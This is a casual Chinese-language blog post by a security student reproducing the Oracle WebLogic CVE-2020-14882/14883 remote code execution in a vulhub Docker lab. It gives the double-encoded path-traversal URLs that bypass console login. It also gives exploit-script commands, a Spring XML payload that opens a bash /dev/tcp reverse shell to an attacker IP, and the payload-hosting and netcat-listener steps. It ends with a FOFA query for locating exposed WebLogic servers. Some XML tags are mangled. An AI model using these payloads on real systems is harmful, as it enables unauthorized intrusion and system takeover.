今天上课,老师讲了几个中间件框架漏洞,说实话我今天全程梦游~~~~~,上午太困了感觉要睡死过去,中午在我的小板凳上搭了张床也没睡着,醒了还腰疼~~~~~~,晚上我就自己上网找了点资料深入理解了一下这个漏洞。漏洞的原理是什么我们就不去深究了,我当前还没有这个能力,我们就来看看怎么用它吧!!!!下面的两个小节我就直接搬运了~
这里贴上我参考复现的帖子,吃水不忘挖井人,大师傅一看就是高手,讲的又高深有详细,后面的手工利用的部分我就直接蒙蔽
Weblogic Console HTTP协议远程代码执行漏洞复现(CVE-2020-14882)
Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限
Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0
git clone https://github.com/vulhub/vulhub.git
没想到我迷你版的centos也有git啊!!!!
嗯,克隆完就这个效果,我们再到当前目录ls一下
可以看到漏洞仓库vulnhub出现了
然后我们
cd ./vulhub/weblogic
weblogic文件夹里面长这样
我们要利用的是CVE-2020-14882
cd进去,长这样
可以看到里面有个yml文件,至于这个文件做什么的,en…我不知道啦,只知道后面要用到,这是一个新的知识点,等我把这个利用流程拉通之后就去学习。当然我也简单得搜了一下,这个文件是要配合docker-compose使用的,emmmm… docker-compose???又是新的知识点呢?当初学docker的时候偷了懒,和它很面熟的样子。大家看完了之后也一定去学习学习哦~~~~
什么?你没有python3?那可不行,一起来安装吧
yum install python3 -y
curl -s https://bootstrap.pypa.io/get-pip.py | python3
你问我这一步是干什么的?一开始的时候我比你还懵,直到我看到了命令执行完最后的提示,原来是卸载旧版本的pip安装最新的pip…你不会又不知道什么是pip吧??pip就是python的一个包管理软件,和centos的yum一样一样的。
systemctl start docker #启动docker
systemctl status docker # 查看docker状态,如果提示绿色的active就证明你成功了!!绿色....emmmm....
pip install docker-compose
docker-compose up -d
这一步就是我们前面提到的要使用yml文件的地方,yml文件里放的是我们要拉的镜像的配置信息,上面这条命令要在yml文件的同级目录下面执行,我们来看看yml文件里写了什么吧!!
可以看到,什么也没写嘛!!!
可以注意到两关键点,一个是要拉取的镜像的名字,一个是指定镜像映射的端口号!!!
这下镜像也有了,让我们看看长什么样
docker images
docker ps
这两条命令不用我解释了吧?
让我们用浏览器访问一下
是不是还挺帅的!!!!
重头戏来了。。。。。我准备直接点
注意了,现在我是不知道登录用户名与密码的,那我怎么进入管理员的后台呢??
我们直接这样访问
http://yourip:7001/console/images/%252E%252E%252Fconsole.portal
都来看看这是什么???这是快乐星球啊!!!!
那么url中一串乱七八糟的编码是什么呢?%252E%252E%252F
我们url解码一下
%25 | %2e | %2f |
---|---|---|
% | . | / |
你学废了吗?这是二次解码哟!!!其实就是../console.portal
目录穿越
不止这一处呢
http://yourip:7001/console/css/%25%32%65%25%32%65%25%32%66console.portal
上面的一串%大家自己丢进工具里面通过十六进制解码一下就直到是什么东东了!!!!
好了,打完收工,
直接上脚本,站在巨人的肩膀上摘苹果不香吗??利用脚本…
python CVE-2020-14882_ALL.py -u http://192.168.248.183:7001 -c "ls" #ip、端口为靶机的
首先,我们得准备一个xml文件,文件内容在这呢!!!
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bashvalue>
<value>-cvalue>
<value>& /dev/tcp/192.168.248.183/54321 0>&1]]>value>
list>
constructor-arg>
bean>
beans>
ip与端口修改为你自己的攻击机的ip与端口
然后我们还需要一台服务器,随便找台机器,执行
python3 -m http.server
这就有了一台服务器了,网站的根目录在你运行这条命令的时候所处的位置,我复现的时候还找了大半天,这个根目录在哪呢,真衰,用浏览器访问一下
搭建成功!!!!!
然后我们将我们刚才创建的poc.xml文件放到网站的根目录里面,访问一下
nice!!!
然后我们在我们的攻击机里面监听一下端口,端口就是你在poc.xml中配置的端口
nc -lvp 54321
然后再在攻击机中执行
python3 CVE-2020-14882_ALL.py -u http://target_mechine_ip:7001/ -x http://your_httpserver_ip:8000/poc.xml
太嚣张了,直接说攻击完成!!!
我们到监听端口看看
反弹shell成功,执行whoami,看看我是谁,原来我是oracle啊!!!!!!!!
好了,到这里就结束了,推荐大家看我文章开头的参考文章,大佬讲的更多,后面还有手工利用的部分,我还没有研究透,好了,我继续去肝了!!
上FOFA
app="BEA-WebLogic-Server"
emmmmm…这是官方的事!!!!!!